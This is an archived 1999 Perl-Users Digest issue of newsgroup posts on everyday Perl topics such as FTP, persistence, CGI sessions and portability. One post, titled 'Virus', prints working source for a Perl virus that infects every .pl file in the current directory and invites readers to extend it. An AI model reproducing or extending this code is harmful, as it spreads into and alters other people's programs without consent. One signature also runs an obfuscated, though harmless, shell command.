[13892] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 1336 Volume: 9

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Nov 10 06:05:54 1999

Date: Wed, 10 Nov 1999 03:05:10 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <942231910-v9-i1336@ruby.oce.orst.edu>
Content-Type: text

Perl-Users Digest           Wed, 10 Nov 1999     Volume: 9 Number: 1336

Today's topics:
    Re: Batch Program Execution <vn8@sfsws1.de.lucent.com>
    Re: Do you now an affordable Perl editor for Windows NT <jjyooi@dcs.qmw.ac.uk>
        Implementing persistence in Perl <jll@skynet.be>
    Re: Is $$variable allowed like in PHP ? <bene@chiark.greenend.org.uk>
    Re: Language specifications <gellyfish@gellyfish.com>
    Re: Language specifications <gellyfish@gellyfish.com>
    Re: matching (Abigail)
    Re: New Perl and CGI Resource site (Simon Cozens)
    Re: New Perl and CGI Resource site <gellyfish@gellyfish.com>
        perl adviser needed in ISRAEL <orenb@cti2.com>
    Re: perl as first language? <jll@skynet.be>
    Re: perl as first language? <slanning@bu.edu>
    Re: perl as first language? (Abigail)
    Re: perl as first language? (Damian Conway)
    Re: PERLHUMOR: self-printing resume <slanning@bu.edu>
    Re: PERLHUMOR: self-printing resume <gellyfish@gellyfish.com>
    Re: Portable Perl Code (Abigail)
        Problem with Net::LDAP Package <gmaheo@ina.fr>
        Q: CGI.pm checkbox_group erik_lembke@my-deja.com
        Remebering environmentvariables <nproj-2@mdstud.chalmers.se>
    Re: Remebering environmentvariables (Abigail)
    Re: Using Perl to fill in html fields (Asher)
        Virus (Abigail)
        Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Wed, 10 Nov 1999 09:15:37 +0100
From: Vijay N Rao <vn8@sfsws1.de.lucent.com>
Subject: Re: Batch Program Execution
Message-Id: <382929A9.D43CA73A@sfsws1.de.lucent.com>

Yes David, you are right. I don't need a contionous connection. I need to do FTP
only frequently. I tried Net::FTP but that works only in unix environment. I am
using perl on win95.
Now can you tell me how can I do this?

Thanks and regards,
vijay

David Cassell wrote:
> 
> Vijay N Rao wrote:
> >
> > Thanks David.
> > Yeh considering your suggestion, I have this question. I need to continously do
> > FTP from a PC to a host. Is this possible using perl?
> 
> Yes.  But are you sure this is what you want?  Is it more
> likely that you need regular checks to the host machine?
> My PSI::ESP module is suggesting that you may not have worked
> through the details of your problem, and that you don't need
> a continuous connection, just a frequent one.
> 
> David
> --
> David Cassell, OAO                     cassell@mail.cor.epa.gov
> Senior computing specialist
> mathematical statistician


------------------------------

Date: Wed, 10 Nov 1999 08:03:52 +0000
From: Johnny 'Loopy' Ooi <jjyooi@dcs.qmw.ac.uk>
Subject: Re: Do you now an affordable Perl editor for Windows NT
Message-Id: <382926E8.842D84CC@dcs.qmw.ac.uk>

Maybe, but an editor is an editor. I use Notepad, Wordpad, E, Edit and
PFE all of which (except PFE) come with Windows and I'me perfectly
happy.

My point is that you don't _have_ to go off and get a jazzy editor with
"go faster" stripes when you've got a perfectly capable editor already
on your system. After all, Notepad _is_ installed on WinNT and Perl
scripts _are_ simply text files....

travis@entropy.atlantic.net wrote:
> 
> I belive code magic is available as freeware.
> See http://www.petes-place.com
> 
> On Wed, 20 Oct 1999, Johnny 'Loopy' Ooi wrote:
> 
> > What's wrong with Notepad? ;-)
> >
> > --
> > Johnny Ooi. Aliases: Loopy, Tuxedo Mask, Quote Master.....
> > E-Mail                : jjyooi@dcs.qmw.ac.uk or jjyooi@yahoo.com
> > WWW           : http://www.dcs.qmw.ac.uk/~jjyooi/
> > ICQ No          : 6155774
> >
> > "Stay sane guys!"
> >
> > ===============================================================
> >
> >

-- 
Johnny Ooi. Aliases: Loopy, Tuxedo Mask, Quote Master.....
E-Mail		: jjyooi@dcs.qmw.ac.uk or jjyooi@yahoo.com
WWW		: http://www.dcs.qmw.ac.uk/~jjyooi/ or
http://members.xoom.com/Tuxedo_Loopy
ICQ No          : 6155774

"Stay sane guys!"

===============================================================


------------------------------

Date: 10 Nov 1999 08:49:20 +0100
From: Jean-Louis Leroy <jll@skynet.be>
Subject: Implementing persistence in Perl
Message-Id: <m3n1smpz0f.fsf_-_@enterprise.newedgeconcept>

ilya@math.ohio-state.edu (Ilya Zakharevich) writes:

> Hmm, I though we have it [weak references] already in the
> development branch, do not we?

I know that support for weak refs has been present for a while but the
only mention I've been able to find (using grep) in the docs are in
perldiag. I've tried weak($r) and weaken($r), to no avail.

So, how do I use them? It's the first item on my TODO list when
weakrefs are finally there.

> Can you elaborate in several lines?

More than one but less than 2,700, eh? <g>

Perl is great for implementing orthogonal persistence thanks to its
universal interception feature (i.e. tie()).When an object is being
loaded you just tie all its fields that are relationships with other
objects to packages that will load the relationship on demand and
mutate the field to a normal Perl ref or array or hash or whatever.

The only other language I know of that lets you achieve that kind of
effect is Smalltalk (thanks to #become: and the absence of early
binding for methods). At least that's my guess, I've never implemented
a Smalltalk persistence layer.

Regarding persistence and memory management: it all derives from the
principle of identity preservation: a persistent object should have
zero or one counterpart in transient storage. You open a cursor on the
persons called Simpson, and a cursor on all the persons whose first
name is Homer. You iterate over the two cursors, keeping track of the
results in two arrays. Homer Simpson will turn up twice, but you want
only one Homer Simpson in memory. The two arrays must contain the same
HS object.

Now this means that the persistence layer needs to keep track of what
persistent objects are already loaded. It needs a map of oid =>
object. It also needs to be notified when persistent objects has
vanish from memory.

Weak references are perfect for that. They don't lock the object in
memory; they automatically become undef() when the object is flushed.

Currently Tangram::Storage locks all the loaded persistent objects in
memory until it's disconnect()ed. Ok for short-running scripts, but
problematic otherwise :-(

>     * the complete [1]documentation (approx 2,700 lines)
> is kinda scary...

Mind you, it covers Tangram's functionality only partially <g>

-- 

 V
VLR		Jean-Louis Leroy
 F		http://users.skynet.be/jll


------------------------------

Date: 10 Nov 1999 10:55:57 +0000 (GMT)
From: Ben Evans <bene@chiark.greenend.org.uk>
Subject: Re: Is $$variable allowed like in PHP ?
Message-Id: <1Ob*ppLco@news.chiark.greenend.org.uk>

In article <3804ef5f.247014768@news.ford.com>,
Clinton Pierce <cpierce1@ford.com> wrote:
>
>Yes, they're called soft references (or symbolic references).
>
>Using them is generally considered a Bad Idea, which is one reason why
>"use strict" won't put up with them.  Other syntax like hashes of hashes,
>or hard references should be used instead.

Why are soft references considered a Bad Idea?

Admittedly, most of the perl I write is for CGI, but I find it really
handy to be able to set a form parameter called mode, check that $in{'mode'}
is in some list of valid modes, then set $mode = $in{'mode'} and call
&$mode.

That way, I can quickly and easily add new areas to a site, by writing the
logic, making the relevant template, and adding my new mode to the valid
modes list.

On a related point, this script:

#!/usr/bin/perl/

$dog = 'woof!';

$string = 'the quick red fox jumped over the lazy brown $dog';

$string =~ s/\$(.*)/${$1}/g;

print "$string\n";

produces:
the quick red fox jumped over the lazy brown woof!
on the command line, but:
the quick red fox jumped over the lazy brown
if run as a CGI program.

The perl version running is 5.004_03. Any thoughts, anyone?

Kitty


------------------------------

Date: 10 Nov 1999 09:49:10 GMT
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: Language specifications
Message-Id: <38293f96_1@newsread3.dircon.co.uk>

Alan Barclay <gorilla@elaine.drink.com> wrote:
> In article <01bf2a15$7dbbc240$330eead4@pat>,
> Jean-Patrick Madelon <balance08@bow.intnet.mu> wrote:
>>What kind of language specifications are available?
>>Are they formal?
>>Are there some standard?
> 
> Am I the only one reading these as homework questions?
> 

No

/J\
-- 
"I want to be like Oprah" - Sarah, Duchess of York


------------------------------

Date: 10 Nov 1999 09:50:10 GMT
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: Language specifications
Message-Id: <38293fd2_1@newsread3.dircon.co.uk>

Alan J. Flavell <flavell@mail.cern.ch> wrote:
> On Tue, 9 Nov 1999, Alan Barclay wrote:
> 
>> Am I the only one reading these as homework questions?
> 
> Am I the only one interpreting some of the answers as troll-feed?
> 

'Feed the trolls tuppence a bag ... '

/J\
-- 
"The Spice Girls don't care if I like them or not because I'm not twelve"
- Germaine Greer


------------------------------

Date: 10 Nov 1999 02:56:14 -0600
From: abigail@delanet.com (Abigail)
Subject: Re: matching
Message-Id: <slrn82id08.6es.abigail@alexandra.delanet.com>

David Perrin (dperrin@octane.bioc.uvic.ca) wrote on MMCCLXII September
MCMXCIII in <URL:news:3828CC8C.3BECA448@octane.bioc.uvic.ca>:
<> 
<> I'm a co-op student working on a Perl project.  I have two arrays and
<> I'm comparing each element in one to each element in the other.  If
<> there is NOT a match of the element in the first array to any in the
<> second array then that element is sent to a third array.  Once this
<> comparison is done then for each element in the third array the program
<> goes through a file to grab out lines containing this element.  

RTFFAQ.



Abigail
-- 
perl -wlpe '}{$_=$.' file  # Count the number of lines.


  -----------== Posted via Newsfeeds.Com, Uncensored Usenet News ==----------
   http://www.newsfeeds.com       The Largest Usenet Servers in the World!
------== Over 73,000 Newsgroups - Including  Dedicated  Binaries Servers ==-----


------------------------------

Date: 10 Nov 1999 10:01:27 GMT
From: simon@othersideofthe.earth.li (Simon Cozens)
Subject: Re: New Perl and CGI Resource site
Message-Id: <slrn82igjn.equ.simon@othersideofthe.earth.li>

info@perlscan.com (comp.lang.perl.misc):
>Just letting everyone know of a new resource at http://perlscan.com

>This is a completely Perl and CGI 

No, it isn't.

>Search engine 

No, it isn't.

Also seems deeply tied to perlcoders.com, who appear to be selling
CGI scripts.

Blegh.

-- 
"The algorithm to do that is extremely nasty.  You might want to mug
someone with it."
		-- M. Devine, Computer Science 340


------------------------------

Date: 10 Nov 1999 10:52:02 GMT
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: New Perl and CGI Resource site
Message-Id: <38294e52_1@newsread3.dircon.co.uk>

Simon Cozens <simon@othersideofthe.earth.li> wrote:
> info@perlscan.com (comp.lang.perl.misc):
>>Just letting everyone know of a new resource at http://perlscan.com
> 
>>This is a completely Perl and CGI 
> 
> No, it isn't.
> 
>>Search engine 
> 
> No, it isn't.
> 
> Also seems deeply tied to perlcoders.com, who appear to be selling
> CGI scripts.
> 

Heih perlcoders.com describe themselves as the 'Adult Webmasters CGI 
Resource' - well thats alright we wouldnt want kids getting any bad ideas ...

/J\
-- 
"In last week's show Lee Mack suggested that David Copperfield was a
smarmy fucking twat. Well done Lee" - Channel 4 Continuity Announcer


------------------------------

Date: Wed, 10 Nov 1999 10:19:44 +0200
From: "Oren B." <orenb@cti2.com>
Subject: perl adviser needed in ISRAEL
Message-Id: <38292a84@news.bezeqint.net>

I'm new to perl and I'm starting writing a project in perl. There is no one
in my company with experience in perl.
I'm looking for perl expert to advise us (in charge of course).
A proven experience in building internet application like robots and html
parsing is needed.
The company is in Herzelia pituch in ISRAEL . The adviser should be able to
meet with me in our offices.

please respond to brezner_o@yahoo.com
describe your perl experience and a way to contact you ( phone prefered )
thanks

Oren Brezner






------------------------------

Date: 10 Nov 1999 09:17:29 +0100
From: Jean-Louis Leroy <jll@skynet.be>
Subject: Re: perl as first language?
Message-Id: <m3iu3apxpi.fsf@enterprise.newedgeconcept>

Uri Guttman <uri@sysarch.com> writes:

> >>>>> "JL" == Jean-Louis Leroy <jll@skynet.be> writes:
> 
>   JL> Let this sink in. He did not know about open(), yet he had done
>   JL> significant work in Perl.
> 
>   JL> Thinking about it, I suppose he doesn't know about $_, regexes, $1,
>   JL> local (but he knows about my all right), etc.
> 
> can you post or illustrate some of the actual stuff he did without ever
> opening a file? was he writing modules or subs that were called with
> data from code he didn't write?

These scripts gets handed business objects, talks to them in normal OO
fashion, performs queries, and traverse relationships.

Here's a short example. It's part of the document generation
system. The script is responsible for computing the values of MIF
document variables. In this case we're printing all the 'parties' in a
Criminal Case.

# test command line
# language is french
# 
BEGIN { @ARGV = qw( -language fr o comp 20102 ) unless @ARGV }

*STDERR = *STDOUT;

# import support functions, e.g. param() sends results back to C++ app
# load object 20102 into $comp
use Business::GenDoc;

# import Tangram storage handle
use Business::Storage qw( $storage );

# the following two functions compose Filters
use Folder qw( folder_includes party_in_folder_filter );

use strict;

# output case name
param lab_title => $comp->getPresentationName();

# allocate two remote objects, representing objects in persistent storage
my ($rr, $ri) = $storage->remote(qw( RoleInDossierC Identity ));

# open cursor on all the Identities (Natural- and LegalPersons) that
# are linked to this Case through a RoleInDossierC  (DossierC = CriminalCase)
my $cursor = $storage->cursor( $ri, party_in_folder_filter($comp, $rr, $ri) );

while (my $id = $cursor->current)
{
   # output Identity's presentation name
   param lab_info => $id->getPresentationName(), '';
   $cursor->next();
}

This is one of the simplest examples, some of them perform complex
traversals of the business object graph.

>   JL> AND (I say again) YET HE HAS CODED COMPLICATED, SIGNIFICANT PARTS OF
>   JL> OUR APP. IN PERL!
> 
> AND I SAY AGAIN, TELL US WHAT HIS CODE DID!
> 
> (who says i don't know where the caps key is!)

Good boy ;-) I was trying to convey my astonishment at Geert's
question.

I'm glad that books like Damian Conway's are finally coming out. I
wonder if they come in time to save Perl from oblivion.

-- 

 V
VLR		Jean-Louis Leroy
 F		http://users.skynet.be/jll


------------------------------

Date: 10 Nov 1999 04:03:02 -0500
From: Scott Lanning <slanning@bu.edu>
Subject: Re: perl as first language?
Message-Id: <kusso2ek9bt.fsf@strange.bu.edu>

John Hagen <jhagen@blarg.net> writes:
> I consider Perl a baroque language full of magnificent
> and exquistely hard to understand details.

Baroque?!? BAROQUE?!?
I think Perl was one of the easiest languages I learned, but
then I wasn't in a hurry to learn it, either. I just sat down
and learned it for the hell of it (and now I have a job using
it, go figure :). Probably it also helped alot that I'd just
finished learning sed and awk. (The O'Reilly book "sed & awk"
has to be one of the best-written tutorial books I've ever read.)

> I would also say that learning C and C++ _before Perl would have
> given me a better leg up on references and the OO parts of Perl. 

On the other hand, learning Perl first would give you a leg up
on C/C++.. I think knowing sed, awk, shell scripting, and basically
alot about Unix, would be good prereqs for Perl.

-- 
"I do believe God gave me a spark of genius, but he quenched it
in misery." --Edgar Allan Poe


------------------------------

Date: 10 Nov 1999 04:23:52 -0600
From: abigail@delanet.com (Abigail)
Subject: Re: perl as first language?
Message-Id: <slrn82ii4g.6es.abigail@alexandra.delanet.com>

Damian Conway (damian@cs.monash.edu.au) wrote on MMCCLXII September
MCMXCIII in <URL:news:80b662$54b$1@towncrier.cc.monash.edu.au>:
$$ 
$$ 
$$ Unfortunately she's in Japan presenting the paper and won't be back till
$$ December :-( :-(

Now I'm stuck with the image of a student using a canoe to get from
Australia to Japan and back.



Abigail
-- 
%0=map{reverse+chop,$_}ABC,ACB,BAC,BCA,CAB,CBA;$_=shift().AC;1while+s/(\d+)((.)
(.))/($0=$1-1)?"$0$3$0{$2}1$2$0$0{$2}$4":"$3 => $4\n"/xeg;print#Towers of Hanoi


  -----------== Posted via Newsfeeds.Com, Uncensored Usenet News ==----------
   http://www.newsfeeds.com       The Largest Usenet Servers in the World!
------== Over 73,000 Newsgroups - Including  Dedicated  Binaries Servers ==-----


------------------------------

Date: 10 Nov 1999 10:43:10 GMT
From: damian@cs.monash.edu.au (Damian Conway)
Subject: Re: perl as first language?
Message-Id: <80bi7u$5v2$1@towncrier.cc.monash.edu.au>

abigail@delanet.com (Abigail) writes:

>Now I'm stuck with the image of a student using a canoe to get from
>Australia to Japan and back.

Canoes? We don't coddle them with "looxuries" like canoes!

She'll be *swimming* back!

Damian ;-)


------------------------------

Date: 10 Nov 1999 03:49:33 -0500
From: Scott Lanning <slanning@bu.edu>
Subject: Re: PERLHUMOR: self-printing resume
Message-Id: <kusvh7ak9ya.fsf@strange.bu.edu>

sholden@pgrad.cs.usyd.edu.au (Sam Holden) writes:
> I'm sure there is an easier way... using sed is the obvious one...
> 
> #!/usr/bin/sed 1d
> insert resume here...

:)

-- 
"If lightning is the anger of the gods, the gods are concerned mostly
with trees." --Lao Tse


------------------------------

Date: 10 Nov 1999 10:06:07 GMT
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: PERLHUMOR: self-printing resume
Message-Id: <3829438f_1@newsread3.dircon.co.uk>

Brian Landers <bcl914@bellsouth.net> wrote:
> I was bored, and working on a new resume for some perl jobs I'm trying for,
> and I decided "why not do my resume IN perl?" You can read it or execute it.
> 

I would like to see it be Readable, Valid Perl, Valid PostScript, Valid troff
and have a command line option to print HTML as well ...

/J\
-- 
"He is marvelous at beating men and achieving real penetration" -
Alex Ferguson


------------------------------

Date: 10 Nov 1999 03:04:16 -0600
From: abigail@delanet.com (Abigail)
Subject: Re: Portable Perl Code
Message-Id: <slrn82idf9.6es.abigail@alexandra.delanet.com>

Kragen Sitaker (kragen@dnaco.net) wrote on MMCCLXII September MCMXCIII in
<URL:news:2U2W3.61993$23.2402589@typ11.nn.bcandid.com>:
@@ In article <3828B866.54447E45@ticom-geo.com>,
@@ Steven Glicker  <sglicker@ticom-geo.com> wrote:
@@ >I would greatly appreciate knowing how one typically writes portable
@@ >code in Perl in cases where a function (say alarm) exists in Linux but
@@ >not in Windows. In C this is typically handled at compile-time with
@@ >#ifdef's. Is there a convention for handling this (at run-time) in Perl?
@@ 
@@ eval { alarm(0) }; $bloody_broken_stupid_system = 1 if $@;


use Config;
$has_alarm = defined $Config {d_alarm};


Abigail
-- 
perl -we '$@="\145\143\150\157\040\042\112\165\163\164\040\141\156\157\164".
             "\150\145\162\040\120\145\162\154\040\110\141\143\153\145\162".
             "\042\040\076\040\057\144\145\166\057\164\164\171";`$@`'


  -----------== Posted via Newsfeeds.Com, Uncensored Usenet News ==----------
   http://www.newsfeeds.com       The Largest Usenet Servers in the World!
------== Over 73,000 Newsgroups - Including  Dedicated  Binaries Servers ==-----


------------------------------

Date: Wed, 10 Nov 1999 11:46:05 +0100
From: Gerald Maheo <gmaheo@ina.fr>
Subject: Problem with Net::LDAP Package
Message-Id: <38294CED.CD66AEF5@ina.fr>

Il s'agit d'un message multivolet au format MIME.
--------------26F043AD8098FC03ED3D8CF8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

I have a problem when I want to use the package Net::Ldap.
I have the message : Can't locate object method "new" via package
"Net::LDAP"


I have a perl5.004_05 and it's built on a HP UNIX machine
--------------26F043AD8098FC03ED3D8CF8
Content-Type: text/x-vcard; charset=us-ascii;
 name="gmaheo.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Carte pour Gerald Maheo
Content-Disposition: attachment;
 filename="gmaheo.vcf"

begin:vcard 
n:MAHÉO;Gérald
tel;work:01-49-83-28-06
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:gmaheo@ina.fr
fn:Gérald MAHÉO
end:vcard

--------------26F043AD8098FC03ED3D8CF8--



------------------------------

Date: Wed, 10 Nov 1999 08:00:54 GMT
From: erik_lembke@my-deja.com
Subject: Q: CGI.pm checkbox_group
Message-Id: <80b8nm$c5p$1@nnrp1.deja.com>

Hello,

I want to format a checkbox_group table. But I don't no where
to add the format tags (like border, align, ...)

An other question is howto generate empty labels?
My curreny solution with the hash holding spaces is not very nice.


Currently I am using following code to generate my html table:

	$element = "syscomp";
	my %labels = ("SYSEngul", " ", "SYSEnggs", " ",  "SYSEngce", "
", "SYSEngsamp", " ", "SYSEngtman", " ", "SYSEnguman"," ",
		"SYSEngidoc", " ",
		"NPISystemsul", " ", "NPISystemsgs", " ",
"NPISystemsce", " ", "NPISystemssamp", " ",
		"NPISystemstman", " ", "NPISystemsuman"," ",
"NPISystemsidoc"," ",
		"CESul", " ", "CESgs", " ", "CESce", " ", "CESsamp", "
", "CEStman"," ",
		"CESuman", " ", "CESidoc", " ",
		"QM/WHul", " ", "QM/WHgs", " ", "QM/WHce", " ",
"QM/WHsamp", " ",
		"QM/WHtman", " ", "QM/WHuman", " ", "QM/WHidoc", " ");
	$elements->{$element} = sprintf checkbox_group(
				-border=>1,
				-align=>CENTER,
				-name=>$element,
				-values=>["SYSEngul", "SYSEnggs",
"SYSEngce", "SYSEngsamp", "SYSEngtman", "SYSEnguman", "SYSEngidoc",
					  "NPISystemsul",
"NPISystemsgs", "NPISystemsce", "NPISystemssamp", "NPISystemstman",
"NPISystemsuman", "NPISystemsidoc",
					  "CESul", "CESgs", "CESce",
"CESsamp", "CEStman", "CESuman", "CESidoc",
					  "QM/WHul", "QM/WHgs",
"QM/WHce", "QM/WHsamp", "QM/WHtman", "QM/WHuman", "QM/WHidoc"],
				-default=>$defhash->{$element},
				-rows=>7,
				-columns=>4,
				-rowheaders=>["UL Approval", "GS
Approval", "CE Admission",
					      "Samples", "Technical
Manual", "User Manual",
					      "Incoming Documentation"],
				-colheaders=>["SysEng", "NPI Systems",
"CES", "QM/WH"],
				-labels=>\%labels
				);






Sent via Deja.com http://www.deja.com/
Before you buy.


------------------------------

Date: Wed, 10 Nov 1999 09:08:22 +0100
From: "Lab. - konto nproj-2" <nproj-2@mdstud.chalmers.se>
Subject: Remebering environmentvariables
Message-Id: <382927F6.FA1A8B86@mdstud.chalmers.se>

Hi all!

I have a problem and I hope someone can help me to solve it.

I'm putting up a soccerleague website where you managae a team, with all
its aspects. Since the game can have several managers, they need to be
logged in to manipulate their team. This is done at a login-page where I
ask for username and password., which are stored in a database. If the
authorization is succesful I want to state somewhere, for example in the
environment, that the current user is logged in. Because when he the for
example clicks on the 'Edit team'-link, the script it leads to just has
to check check $ENV{'teamid'} and see what team is logged in. If the
team is not logged in it can be set to a neutral number, like 0 or
something.

So, this was some background. The thing is that this does not work. If I
set the environmentvariable teamid in the login-script like this:

$ENV{'teamid'}=3D *Teamid extracted from database*

And then click on another link, the variable is not there anymore.

Does anyone know how to do this? Please help, because I'm really stuck.

/P=E4r Andreasson, Gothenburg



------------------------------

Date: 10 Nov 1999 04:36:02 -0600
From: abigail@delanet.com (Abigail)
Subject: Re: Remebering environmentvariables
Message-Id: <slrn82iir9.6es.abigail@alexandra.delanet.com>

Lab. - konto nproj-2 (nproj-2@mdstud.chalmers.se) wrote on MMCCLXII
September MCMXCIII in <URL:news:382927F6.FA1A8B86@mdstud.chalmers.se>:
~~ 
~~ So, this was some background. The thing is that this does not work. If I
~~ set the environmentvariable teamid in the login-script like this:
~~ 
~~ $ENV{'teamid'}= *Teamid extracted from database*
~~ 
~~ And then click on another link, the variable is not there anymore.

That's because you have a different environment.

~~ Does anyone know how to do this? Please help, because I'm really stuck.


Down the stairs, out the door, cross the street, go left, take a left
at the second intersection, follow the smell of fish and look for the
flashing sign "CGI".

We don't do CGI here, just Perl.


Abigail
-- 
perl -wlne '}for($.){print' file  # Count the number of lines.


  -----------== Posted via Newsfeeds.Com, Uncensored Usenet News ==----------
   http://www.newsfeeds.com       The Largest Usenet Servers in the World!
------== Over 73,000 Newsgroups - Including  Dedicated  Binaries Servers ==-----


------------------------------

Date: Wed, 10 Nov 1999 09:15:42 GMT
From: asher@magicnet.net (Asher)
Subject: Re: Using Perl to fill in html fields
Message-Id: <slrn82iful.1q5.asher@localhost.localdomain>

On Mon, 8 Nov 1999 18:56:17 -0800, Allen Long <falong@hiwaay.net> wrote:
>I am new to perl and need to know how to use a Perl program to fill in a cgi
>field in a web browser such as netscape or ie. I also need to know if there
>is a way to simulate mouseclicks.
>
>Thanks
>
>
I think that you're asking about web client programming, in which case you
need the LWP bundle from CPAN.  (http://www.cpan.org)

LWP helps you write a web client in Perl - there is no need for an external
browser like Netscape or IE.  Poke around at 

http://www.stonehenge.com/merlyn

for examples.

By 'simulate mouseclicks' I think you mean 'send HTTP requests', which is
what your web browser does when you follow (click on) links.  LWP makes
this easy.

Good luck!


------------------------------

Date: 10 Nov 1999 04:43:56 -0600
From: abigail@delanet.com (Abigail)
Subject: Virus
Message-Id: <slrn82ija4.6es.abigail@alexandra.delanet.com>

Here's a little virus that attaches itself to any file ending in ".pl"
in the current directory. Expanding it to try to effect all Perl files
on the system is left as an exercise to the reader.

    #!/opt/perl/bin/perl -w

    use strict;

    # HACKED
    BEGIN {
        local *ME;
        if (open ME, $0) {
            undef $/;
            my $me =  <ME>;
            my ($text) = $me =~ /(# HACKED\n.*?# HACKED\n)/s;
            if (opendir DIR, ".") {
                foreach my $file (readdir DIR) {
                    next unless $file =~ /.pl$/;
                    local *FILE;
                    if (open FILE, "+< ./$file") {
                        my $program = <FILE>;
                        unless ($program =~ /# HACKED/) {
                            $program =~ s/\n/\n$text/;
                        }
                        seek FILE, 0, 0;
                        print FILE $program;
                    }
                    close FILE;
                }
            }
            closedir DIR;
        }
        close ME;
    }
    # HACKED

    __END__


Abigail
-- 
perl -wlpe '}$_=$.;{' file  # Count the number of lines.


  -----------== Posted via Newsfeeds.Com, Uncensored Usenet News ==----------
   http://www.newsfeeds.com       The Largest Usenet Servers in the World!
------== Over 73,000 Newsgroups - Including  Dedicated  Binaries Servers ==-----


------------------------------

Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V9 Issue 1336
**************************************


home help back first fref pref prev next nref lref last post